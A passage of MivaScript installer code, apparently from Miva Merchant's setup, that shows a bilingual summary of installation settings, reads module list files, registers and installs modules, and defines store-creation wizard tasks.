			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvLOCALIZED ID = "MER-SET-00114">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Administrator Login:</B></MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Administratoranmeldung:</B></MvLOCALIZED-TEXT>
				</MvLOCALIZED>									
			</FONT>
		</TD><TD WIDTH = "100%" NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvEVAL EXPR = "{ encodeentities( g.Install_User_Name ) }">
			</FONT>
		</TD></TR>

		<TR><TD NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00115">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>URL to Miva Merchant:</B></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>URL zum Miva Merchant:</B></MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</FONT>
		</TD><TD WIDTH = "100%" NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvIF EXPR = "{ g.Install_URL_Merchant_Use_Detected EQ 'Yes' }">
				<MvEVAL EXPR = "{ encodeentities( g.Install_URL_Merchant_Detected ) }">
			<MvELSE>
				<MvEVAL EXPR = "{ encodeentities( g.Install_MivaMerchantURL ) }">
			</MvIF>
			</FONT>
		</TD></TR>

		<MvIF EXPR = "{ g.Install_URL_Merchant_Secure_Use_Detected NE 'None' }">
			<TR><TD NOWRAP>
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvLOCALIZED ID = "MER-SET-00116">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Secure URL to Miva Merchant:</B></MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Sicherer URL zum Miva Merchant:</B></MvLOCALIZED-TEXT>
				</MvLOCALIZED>									
				</FONT>
			</TD><TD WIDTH = "100%" NOWRAP>
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvIF EXPR = "{ g.Install_URL_Merchant_Secure_Use_Detected EQ 'None' }">
					<MvLOCALIZED ID = "MER-SET-00117">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">None</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Kein</MvLOCALIZED-TEXT>
					</MvLOCALIZED>									
				</MvIF>
				<MvIF EXPR = "{ g.Install_URL_Merchant_Secure_Use_Detected EQ 'Detected' }">
					<MvEVAL EXPR = "{ encodeentities( g.Install_URL_Merchant_Secure_Detected ) }">
				</MvIF>
				<MvIF EXPR = "{ g.Install_URL_Merchant_Secure_Use_Detected EQ '' }">
					<MvEVAL EXPR = "{ encodeentities( g.Install_MivaMerchantSecureURL ) }">
				</MvIF>
				</FONT>
			</TD></TR>
		</MvIF>

		<MvIF EXPR = "{ g.Install_URL_Admin_Secure_Use_Detected NE 'None' }">
			<TR><TD NOWRAP>
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvLOCALIZED ID = "MER-SET-00118">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Secure URL to Miva Merchant Administration:</B></MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Sicherer URL zur Miva Merchant Administration:</B></MvLOCALIZED-TEXT>
				</MvLOCALIZED>									
				</FONT>
			</TD><TD WIDTH = "100%" NOWRAP>
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvIF EXPR = "{ g.Install_URL_Admin_Secure_Use_Detected EQ 'None' }">
					<MvLOCALIZED ID = "MER-SET-00119">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">None</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Kein</MvLOCALIZED-TEXT>
					</MvLOCALIZED>									
				</MvIF>
				<MvIF EXPR = "{ g.Install_URL_Admin_Secure_Use_Detected EQ 'Detected' }">
					<MvEVAL EXPR = "{ encodeentities( g.Install_URL_Admin_Secure_Detected ) }">
				</MvIF>
				<MvIF EXPR = "{ g.Install_URL_Admin_Secure_Use_Detected EQ '' }">
					<MvEVAL EXPR = "{ encodeentities( g.Install_URL_Admin_Secure ) }">
				</MvIF>
				</FONT>
			</TD></TR>
		</MvIF>

		<TR><TD NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00120">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Root Directory for Graphics:</B></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Hauptverzeichnis f�r Grafiken:</B></MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</FONT>
		</TD><TD WIDTH = "100%" NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvIF EXPR = "{ g.Install_Image_Root_Use_Detected EQ 'Yes' }">
				<MvEVAL EXPR = "{ encodeentities( g.Install_Image_Root_Detected ) }">
			<MvELSE>
				<MvEVAL EXPR = "{ encodeentities( g.Install_ImageRoot ) }">
			</MvIF>
			</FONT>
		</TD></TR>

		<TR><TD NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00121">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Base URL for Graphics:</B></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Basis-URL f�r Grafiken:</B></MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</FONT>
		</TD><TD WIDTH = "100%" NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvIF EXPR = "{ g.Install_URL_Base_Use_Detected EQ 'Yes' }">
				<MvEVAL EXPR = "{ encodeentities( g.Install_URL_Base_Detected ) }">
			<MvELSE>
				<MvEVAL EXPR = "{ encodeentities( g.Install_URL_Base ) }">
			</MvIF>
			</FONT>
		</TD></TR>

		<MvIF EXPR = "{ g.Install_URL_Base_Secure_Use_Detected NE 'None' }">
			<TR><TD NOWRAP>
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvLOCALIZED ID = "MER-SET-00122">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Secure Base URL for Graphics:</B></MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Sicherer Basis-URL f�r Grafiken:</B></MvLOCALIZED-TEXT>
				</MvLOCALIZED>									
				</FONT>
			</TD><TD WIDTH = "100%" NOWRAP>
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvIF EXPR = "{ g.Install_URL_Base_Secure_Use_Detected EQ 'None' }">
					<MvLOCALIZED ID = "MER-SET-00123">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">None</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Kein</MvLOCALIZED-TEXT>
					</MvLOCALIZED>									
				</MvIF>
				<MvIF EXPR = "{ g.Install_URL_Base_Secure_Use_Detected EQ 'Detected' }">
					<MvEVAL EXPR = "{ encodeentities( g.Install_URL_Base_Secure_Detected ) }">
				</MvIF>
				<MvIF EXPR = "{ g.Install_URL_Base_Secure_Use_Detected EQ '' }">
					<MvEVAL EXPR = "{ encodeentities( g.Install_URL_Base_Secure ) }">
				</MvIF>
				</FONT>
			</TD></TR>
		</MvIF>

		<TR><TD NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00124">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Root Directory for Modules:</B></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Hauptverzeichnis f�r Module:</B></MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</FONT>
		</TD><TD WIDTH = "100%" NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvIF EXPR = "{ g.Install_Module_Root_Use_Detected EQ 'Yes' }">
				<MvEVAL EXPR = "{ encodeentities( g.Install_Module_Root_Detected ) }">
			<MvELSE>
				<MvEVAL EXPR = "{ encodeentities( g.Install_Module_Root ) }">
			</MvIF>
			</FONT>
		</TD></TR>

		<MvIF EXPR = "{ g.Install_Module_Root_Secure_Use_Detected NE 'None' }">
			<TR><TD NOWRAP>
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvLOCALIZED ID = "MER-SET-00125">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Secure Root Directory for Modules:</B></MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Sicheres Hauptverzeichnis f�r Module:</B></MvLOCALIZED-TEXT>
				</MvLOCALIZED>									
				</FONT>
			</TD><TD WIDTH = "100%" NOWRAP>
				<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvIF EXPR = "{ g.Install_Module_Root_Secure_Use_Detected EQ 'None' }">
					<MvLOCALIZED ID = "MER-SET-00126">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">None</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Kein</MvLOCALIZED-TEXT>
					</MvLOCALIZED>									
				</MvIF>
				<MvIF EXPR = "{ g.Install_Module_Root_Secure_Use_Detected EQ 'Detected' }">
					<MvEVAL EXPR = "{ encodeentities( g.Install_Module_Root_Secure_Detected ) }">
				</MvIF>
				<MvIF EXPR = "{ g.Install_Module_Root_Secure_Use_Detected EQ '' }">
					<MvEVAL EXPR = "{ encodeentities( g.Install_Module_Root_Secure ) }">
				</MvIF>
				</FONT>
			</TD></TR>
		</MvIF>

		<TR><TD NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvLOCALIZED ID = "MER-SET-00127">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US"><B>Mail Server:</B></MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE"><B>Mail-Server:</B></MvLOCALIZED-TEXT>
			</MvLOCALIZED>									
			</FONT>
		</TD><TD WIDTH = "100%" NOWRAP>
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
			<MvEVAL EXPR = "{ encodeentities( g.Install_MailHost ) }">
			</FONT>
		</TD></TR>

		<TR><TD COLSPAN = "2">&nbsp;</TD></TR>

		<TR><TD VALIGN = "bottom" ALIGN = "left">
			<MvEVAL EXPR = "{ Setup_DrawPreviousButton( 'Setup_Previous();' ) }">
		</TD><TD VALIGN = "bottom" ALIGN = "right">
			<FONT FACE = "Arial, Helvetica" SIZE = "-1">
				<MvEVAL EXPR = "{ Setup_DrawFinishButton( 'Setup_Finish();' ) }">
			</FONT>
		</TD></TR>
		</TABLE>
	</MvIF>

	<MvASSIGN NAME = "l.ok" VALUE = "{ Setup_EndScreen() }">
	
	<MvFUNCTIONRETURN VALUE = "1">
</MvFUNCTION>


<MvFUNCTION NAME = "Get_Module_List" STANDARDOUTPUTLEVEL = "">

<MvCOMMENT>
	Please note that the files "MODULES.lst", "modules.add", and "modules.rmv" must
	be terminated with a blank line, or else the last module listed in the file will
	be skipped.
</MvCOMMENT>

	<MvASSIGN NAME = "l.module_list" VALUE = "">

	<MvIF EXPR = "{ sexists( g.Version_Path $ 'MODULES.lst' ) AND sfcopy( g.Version_Path $ 'MODULES.lst', 'MODULES.lst' ) }">

		<MvIMPORT 	FILE = "MODULES.lst"
					FIELDS = "l.type, l.module, l.languages"
					DELIMITER = "|"
					FILTER = "{ toupper( l.type ) EQ 'MERCHANT' }">
			<MvIF EXPR = "{ ( len( l.languages ) EQ 0 ) OR ( s.miva_language CIN l.languages ) }"> 
				<MvIF EXPR = "{ l.module_list }">
					<MvASSIGN NAME = "l.module_list" VALUE = "{ l.module_list $ ',' }">
				</MvIF>
				<MvASSIGN NAME = "l.module_list" VALUE = "{ l.module_list $ l.module }">
			</MvIF>
		</MvIMPORT>
		<MvASSIGN NAME = "l.deleted" VALUE = "{ fdelete( 'MODULES.lst' ) }">

<MvCOMMENT> "modules.rmv" and "modules.add" can only be used in conjunction with an ISP defaults "site.dat" file. </MvCOMMENT>

		<MvIF EXPR = "{ g.ISP_Defaults NE 'NO' }">
			<MvIF EXPR = "{ fexists( 'modules.add' ) }">
				<MvIMPORT 	FILE = "modules.add"
							FIELDS = "l.type, l.module, l.languages"
							DELIMITER = "|"
							FILTER = "{ toupper( l.type ) EQ 'MERCHANT' }">
					<MvIF EXPR = "{ ( NOT l.module IN l.module_list ) AND ( ( len( l.languages ) EQ 0 ) OR ( s.miva_language CIN l.languages ) ) }">
						<MvIF EXPR = "{ l.module_list }">
							<MvASSIGN NAME = "l.module_list" VALUE = "{ l.module_list $ ',' }">
						</MvIF>
						<MvASSIGN NAME = "l.module_list" VALUE = "{ l.module_list $ l.module }">
					</MvIF>
				</MvIMPORT>
			</MvIF>

			<MvIF EXPR = "{ fexists( 'modules.rmv' ) }">
				<MvIMPORT 	FILE = "modules.rmv"
							FIELDS = "l.type, l.module, l.languages"
							DELIMITER = "|"
							FILTER = "{ toupper( l.type ) EQ 'MERCHANT' }">
					<MvIF EXPR = "{ ( len( l.languages ) EQ 0 ) OR ( s.miva_language CIN l.languages ) }"> 
						<MvASSIGN NAME = "l.module_list" VALUE = "{ glosub( l.module_list, ',' $ l.module $ ',', ',' ) }">
					</MvIF>
				</MvIMPORT>
			</MvIF>
		</MvIF>
	<MvELSE>
		
		<MvLOCALIZED NAME = "l.error" ID = "MER-SET-00128">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Cannot find MODULES.lst</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">MODULES.lst kann nicht gefunden werden</MvLOCALIZED-TEXT>
		</MvLOCALIZED>									

		<MvDO FILE = "{ g.Setup_Library_Utilities }" NAME = "l.ok" VALUE = "{ Error( 'MER-SET-00003', l.error ) }">
	</MvIF>

	<MvFUNCTIONRETURN VALUE = "{ ltrim( rtrim( l.module_list ) ) }">
</MvFUNCTION>

<MvFUNCTION NAME = "RegisterModules" STANDARDOUTPUTLEVEL = "">
	<MvASSIGN NAME = "l.ok" VALUE = "1">
	<MvASSIGN NAME = "l.mmui_id" VALUE = 0>

	<MvASSIGN NAME = "l.modules" VALUE = "{ Get_Module_List() }">
	<MvIF EXPR = "{ len( l.modules ) EQ 0 }">
		<MvASSIGN NAME = "l.ok" VALUE = 0>
	<MvELSE>
		<MvCOMMENT> Register MMUI separately so we can configure the Domain to use it by default </MvCOMMENT>
		<MvASSIGN NAME = "l.module" VALUE = "{ 'modules/ui/mmui.mv' }">
		<MvDO FILE = "{ g.Version_Path $ l.module }" NAME = "l.type" VALUE = "{ Module_Type() }">
		<MvDO FILE = "{ g.Version_Path $ l.module }" NAME = "l.code" VALUE = "{ Module_Code() }">
		<MvDO FILE = "{ g.Version_Path $ l.module }" NAME = "l.name" VALUE = "{ Module_Name() }">
		<MvDO FILE = "{ g.Version_Path $ l.module }" NAME = "l.provider" VALUE = "{ Module_Provider() }">
		<MvDO FILE = "{ g.Version_Path $ l.module }" NAME = "l.version" VALUE = "{ Module_Version() }">

		<MvDO FILE = "{ g.Setup_Library_DB }" NAME = "l.mmui_id" VALUE = "{ Module_Insert( l.type, l.code, l.name, l.provider, l.version, l.module, 1 ) }">
		<MvIF EXPR = "{ NOT l.mmui_id }">
			<MvASSIGN NAME = "l.ok" VALUE = 0>
		<MvELSE>
			<MvDO FILE = "{ g.Version_Path $ l.module }" NAME = "l.ok" VALUE = "{ Module_Install() }">
		</MvIF>
		
		<MvIF EXPR = "{ l.ok }">
			<MvASSIGN NAME = "l.pos" VALUE = "1">
			<MvASSIGN NAME = "l.current" VALUE = "{ ltrim( rtrim( gettoken( l.modules, ',', l.pos ) ) ) }">
			<MvWHILE EXPR = "{ l.ok AND l.current }">
				<MvDO FILE = "{ g.Version_Path $ l.current }" NAME = "l.type" VALUE = "{ Module_Type() }">
				<MvDO FILE = "{ g.Version_Path $ l.current }" NAME = "l.code" VALUE = "{ Module_Code() }">
				<MvDO FILE = "{ g.Version_Path $ l.current }" NAME = "l.name" VALUE = "{ Module_Name() }">
				<MvDO FILE = "{ g.Version_Path $ l.current }" NAME = "l.provider" VALUE = "{ Module_Provider() }">
				<MvDO FILE = "{ g.Version_Path $ l.current }" NAME = "l.version" VALUE = "{ Module_Version() }">

				<MvIF EXPR = "{ l.code NE 'mmui' }">
					<MvASSIGN NAME = "l.can_add" VALUE = 1>
					<MvCOMMENT> Affiliate </MvCOMMENT>
					<MvIF EXPR = "{ ( l.code EQ 'afwizard' ) OR ( l.code EQ 'aawizard' ) OR ( l.code EQ 'afilexprt' ) }">
						<MvDO FILE = "{ g.Module_Version }" NAME = "l.isEnabled" VALUE = "{ IsEnabled( 'AFF' ) }">
						<MvIF EXPR = "{ NOT l.isEnabled }">
							<MvASSIGN NAME = "l.can_add" VALUE = 0>
						</MvIF>
					</MvIF>

					<MvCOMMENT> Customer </MvCOMMENT>
					<MvIF EXPR = "{ l.code EQ 'flatcus' }">
						<MvDO FILE = "{ g.Module_Version }" NAME = "l.isEnabled" VALUE = "{ IsEnabled( 'CUS' ) }">
						<MvIF EXPR = "{ NOT l.isEnabled }">
							<MvASSIGN NAME = "l.can_add" VALUE = 0>
						</MvIF>
					</MvIF>

					<MvIF EXPR =  "{ l.can_add }">
						<MvDO FILE = "{ g.Setup_Library_DB }" NAME = "l.ok" VALUE = "{ Module_Insert( l.type, l.code, l.name, l.provider, l.version, l.current, 1 ) }">
						<MvIF EXPR = "{ l.ok }">
							<MvDO FILE = "{ g.Version_Path $ l.current }" NAME = "l.ok" VALUE = "{ Module_Install() }">
						</MvIF>
					</MvIF>
				</MvIF>
				
				<MvASSIGN NAME = "l.pos" VALUE = "{ l.pos + 1 }">
				<MvASSIGN NAME = "l.current" VALUE = "{ ltrim( rtrim( gettoken( l.modules, ',', l.pos ) ) ) }">
			</MvWHILE>
		</MvIF>
	</MvIF>
	
	<MvIF EXPR = "{ l.ok }">
		<MvFUNCTIONRETURN VALUE = "{ l.mmui_id }">
	<MvELSE>
		<MvFUNCTIONRETURN VALUE = 0>
	</MvIF>
</MvFUNCTION>

<MvFUNCTION NAME = "CreateTasks" STANDARDOUTPUTLEVEL = "">
	<MvASSIGN NAME = "l.ok" VALUE = "1">

	<MvDO FILE = "{ g.Module_Feature_STP_DB }" NAME = "l.ok" VALUE = "{ STP_CreateTasks() }">	
	<MvIF EXPR = "{ l.ok }">
		<MvASSIGN NAME = "TaskList" 		INDEX = "1" MEMBER = "Code" 		VALUE = "CSTOR">
		<MvASSIGN NAME = "TaskList" 		INDEX = "1" MEMBER = "ParentCode" 	VALUE = "">
		<MvASSIGN NAME = "TaskList" 		INDEX = "1" MEMBER = "Module" 		VALUE = "cswizard">
		<MvLOCALIZED NAME = "l.text">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Create Store Wizard</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Assistent zum Erstellen eines Ladens</MvLOCALIZED-TEXT>
		</MvLOCALIZED>
		<MvASSIGN NAME = "TaskList" 		INDEX = "1" MEMBER = "Label" 		VALUE = "{ l.text }">
		<MvASSIGN NAME = "TaskList" 		INDEX = "1" MEMBER = "Params" 		VALUE = "">
		<MvASSIGN NAME = "TaskList" 		INDEX = "1" MEMBER = "Level" 		VALUE = "D">
		<MvASSIGN NAME = "TaskList" 		INDEX = "1" MEMBER = "Privilege" 	VALUE = "">
		<MvASSIGN NAME = "TaskList" 		INDEX = "1" MEMBER = "View" 		VALUE = "">
		<MvASSIGN NAME = "TaskList" 		INDEX = "1" MEMBER = "Add" 			VALUE = "">
		<MvASSIGN NAME = "TaskList" 		INDEX = "1" MEMBER = "Modify" 		VALUE = "">
		<MvASSIGN NAME = "TaskList" 		INDEX = "1" MEMBER = "Delete" 		VALUE = "">

		<MvASSIGN NAME = "TaskList" 		INDEX = "2" MEMBER = "Code" 		VALUE = "CAWIZ">
		<MvASSIGN NAME = "TaskList" 		INDEX = "2" MEMBER = "ParentCode" 	VALUE = "CSTOR">
		<MvASSIGN NAME = "TaskList" 		INDEX = "2" MEMBER = "Module" 		VALUE = "cawizard">
		<MvLOCALIZED NAME = "l.text">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Add Categories</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Kategorien hinzuf�gen</MvLOCALIZED-TEXT>
		</MvLOCALIZED>
		<MvASSIGN NAME = "TaskList" 		INDEX = "2" MEMBER = "Label" 		VALUE = "{ l.text }">
		<MvASSIGN NAME = "TaskList" 		INDEX = "2" MEMBER = "Params" 		VALUE = "">
		<MvASSIGN NAME = "TaskList" 		INDEX = "2" MEMBER = "Level" 		VALUE = "S">
		<MvASSIGN NAME = "TaskList" 		INDEX = "2" MEMBER = "Privilege" 	VALUE = "CTGY">
		<MvASSIGN NAME = "TaskList" 		INDEX = "2" MEMBER = "View" 		VALUE = "0">
		<MvASSIGN NAME = "TaskList" 		INDEX = "2" MEMBER = "Add" 			VALUE = "1">
		<MvASSIGN NAME = "TaskList" 		INDEX = "2" MEMBER = "Modify" 		VALUE = "0">
		<MvASSIGN NAME = "TaskList" 		INDEX = "2" MEMBER = "Delete" 		VALUE = "0">

		<MvASSIGN NAME = "TaskList" 		INDEX = "3" MEMBER = "Code" 		VALUE = "PAWIZ">
		<MvASSIGN NAME = "TaskList" 		INDEX = "3" MEMBER = "ParentCode" 	VALUE = "CSTOR">
		<MvASSIGN NAME = "TaskList" 		INDEX = "3" MEMBER = "Module" 		VALUE = "pawizard">
		<MvLOCALIZED NAME = "l.text">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Add Products</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Produkte hinzuf�gen</MvLOCALIZED-TEXT>
		</MvLOCALIZED>
		<MvASSIGN NAME = "TaskList" 		INDEX = "3" MEMBER = "Label" 		VALUE = "{ l.text }">
		<MvASSIGN NAME = "TaskList" 		INDEX = "3" MEMBER = "Params" 		VALUE = "">
		<MvASSIGN NAME = "TaskList" 		INDEX = "3" MEMBER = "Level" 		VALUE = "S">
		<MvASSIGN NAME = "TaskList" 		INDEX = "3" MEMBER = "Privilege" 	VALUE = "PROD">
		<MvASSIGN NAME = "TaskList" 		INDEX = "3" MEMBER = "View" 		VALUE = "0">
		<MvASSIGN NAME = "TaskList" 		INDEX = "3" MEMBER = "Add" 			VALUE = "1">
		<MvASSIGN NAME = "TaskList" 		INDEX = "3" MEMBER = "Modify" 		VALUE = "0">
		<MvASSIGN NAME = "TaskList" 		INDEX = "3" MEMBER = "Delete" 		VALUE = "0">

		<MvASSIGN NAME = "TaskList" 		INDEX = "4" MEMBER = "Code" 		VALUE = "ATWIZ">
		<MvASSIGN NAME = "TaskList" 		INDEX = "4" MEMBER = "ParentCode" 	VALUE = "PAWIZ">
		<MvASSIGN NAME = "TaskList" 		INDEX = "4" MEMBER = "Module" 		VALUE = "atwizard">
		<MvLOCALIZED NAME = "l.text">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Add Attributes</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Attribute hinzuf�gen</MvLOCALIZED-TEXT>
		</MvLOCALIZED>
		<MvASSIGN NAME = "TaskList" 		INDEX = "4" MEMBER = "Label" 		VALUE = "{ l.text }">
		<MvASSIGN NAME = "TaskList" 		INDEX = "4" MEMBER = "Params" 		VALUE = "">
		<MvASSIGN NAME = "TaskList" 		INDEX = "4" MEMBER = "Level" 		VALUE = "S">
		<MvASSIGN NAME = "TaskList" 		INDEX = "4" MEMBER = "Privilege" 	VALUE = "PROD">
		<MvASSIGN NAME = "TaskList" 		INDEX = "4" MEMBER = "View" 		VALUE = "0">
		<MvASSIGN NAME = "TaskList" 		INDEX = "4" MEMBER = "Add" 			VALUE = "0">
		<MvASSIGN NAME = "TaskList" 		INDEX = "4" MEMBER = "Modify" 		VALUE = "1">
		<MvASSIGN NAME = "TaskList" 		INDEX = "4" MEMBER = "Delete" 		VALUE = "0">

		<MvASSIGN NAME = "TaskList" 		INDEX = "5" MEMBER = "Code" 		VALUE = "PCWIZ">
		<MvASSIGN NAME = "TaskList" 		INDEX = "5" MEMBER = "ParentCode" 	VALUE = "CSTOR">
		<MvASSIGN NAME = "TaskList" 		INDEX = "5" MEMBER = "Module" 		VALUE = "pcwizard">
		<MvLOCALIZED NAME = "l.text">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Configure Payment</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Zahlung konfigurieren</MvLOCALIZED-TEXT>
		</MvLOCALIZED>
		<MvASSIGN NAME = "TaskList" 		INDEX = "5" MEMBER = "Label" 		VALUE = "{ l.text }">
		<MvASSIGN NAME = "TaskList" 		INDEX = "5" MEMBER = "Params" 		VALUE = "">
		<MvASSIGN NAME = "TaskList" 		INDEX = "5" MEMBER = "Level" 		VALUE = "S">
		<MvASSIGN NAME = "TaskList" 		INDEX = "5" MEMBER = "Privilege" 	VALUE = "PMNT">
		<MvASSIGN NAME = "TaskList" 		INDEX = "5" MEMBER = "View" 		VALUE = "0">
		<MvASSIGN NAME = "TaskList" 		INDEX = "5" MEMBER = "Add" 			VALUE = "1">
		<MvASSIGN NAME = "TaskList" 		INDEX = "5" MEMBER = "Modify" 		VALUE = "1">
		<MvASSIGN NAME = "TaskList" 		INDEX = "5" MEMBER = "Delete" 		VALUE = "0">

		<MvASSIGN NAME = "TaskList" 		INDEX = "6" MEMBER = "Code" 		VALUE = "SHWIZ">
		<MvASSIGN NAME = "TaskList" 		INDEX = "6" MEMBER = "ParentCode" 	VALUE = "CSTOR">
		<MvASSIGN NAME = "TaskList" 		INDEX = "6" MEMBER = "Module" 		VALUE = "shwizard">
		<MvLOCALIZED NAME = "l.text">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Configure Shipping</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Versand konfigurieren</MvLOCALIZED-TEXT>
		</MvLOCALIZED>
		<MvASSIGN NAME = "TaskList" 		INDEX = "6" MEMBER = "Label" 		VALUE = "{ l.text }">
		<MvASSIGN NAME = "TaskList" 		INDEX = "6" MEMBER = "Params" 		VALUE = "">
		<MvASSIGN NAME = "TaskList" 		INDEX = "6" MEMBER = "Level" 		VALUE = "S">
		<MvASSIGN NAME = "TaskList" 		INDEX = "6" MEMBER = "Privilege" 	VALUE = "SHIP">
		<MvASSIGN NAME = "TaskList" 		INDEX = "6" MEMBER = "View" 		VALUE = "0">
		<MvASSIGN NAME = "TaskList" 		INDEX = "6" MEMBER = "Add" 			VALUE = "1">
		<MvASSIGN NAME = "TaskList" 		INDEX = "6" MEMBER = "Modify" 		VALUE = "1">
		<MvASSIGN NAME = "TaskList" 		INDEX = "6" MEMBER = "Delete" 		VALUE = "0">

		<MvASSIGN NAME = "TaskList" 		INDEX = "7" MEMBER = "Code" 		VALUE = "AFWIZ">
		<MvASSIGN NAME = "TaskList" 		INDEX = "7" MEMBER = "ParentCode" 	VALUE = "CSTOR">
		<MvASSIGN NAME = "TaskList" 		INDEX = "7" MEMBER = "Module" 		VALUE = "afwizard">
		<MvLOCALIZED NAME = "l.text">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Affiliate Configuration</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE"></MvLOCALIZED-TEXT>
		</MvLOCALIZED>
		<MvASSIGN NAME = "TaskList" 		INDEX = "7" MEMBER = "Label" 		VALUE = "{ l.text }">
		<MvASSIGN NAME = "TaskList" 		INDEX = "7" MEMBER = "Params" 		VALUE = "">
		<MvASSIGN NAME = "TaskList" 		INDEX = "7" MEMBER = "Level" 		VALUE = "S">
		<MvASSIGN NAME = "TaskList" 		INDEX = "7" MEMBER = "Privilege" 	VALUE = "AFLT">
		<MvASSIGN NAME = "TaskList" 		INDEX = "7" MEMBER = "View" 		VALUE = "0">
		<MvASSIGN NAME = "TaskList" 		INDEX = "7" MEMBER = "Add" 			VALUE = "0">
		<MvASSIGN NAME = "TaskList" 		INDEX = "7" MEMBER = "Modify" 		VALUE = "1">
		<MvASSIGN NAME = "TaskList" 		INDEX = "7" MEMBER = "Delete" 		VALUE = "0">

		<MvASSIGN NAME = "TaskList" 		INDEX = "8" MEMBER = "Code" 		VALUE = "AAWIZ">
		<MvASSIGN NAME = "TaskList" 		INDEX = "8" MEMBER = "ParentCode" 	VALUE = "CSTOR">
		<MvASSIGN NAME = "TaskList" 		INDEX = "8" MEMBER = "Module" 		VALUE = "aawizard">
		<MvLOCALIZED NAME = "l.text">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Add Affiliates</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE"></MvLOCALIZED-TEXT>
		</MvLOCALIZED>
		<MvASSIGN NAME = "TaskList" 		INDEX = "8" MEMBER = "Label" 		VALUE = "{ l.text }">
		<MvASSIGN NAME = "TaskList" 		INDEX = "8" MEMBER = "Params" 		VALUE = "">
		<MvASSIGN NAME = "TaskList" 		INDEX = "8" MEMBER = "Level" 		VALUE = "S">
		<MvASSIGN NAME = "TaskList" 		INDEX = "8" MEMBER = "Privilege" 	VALUE = "AFLT">
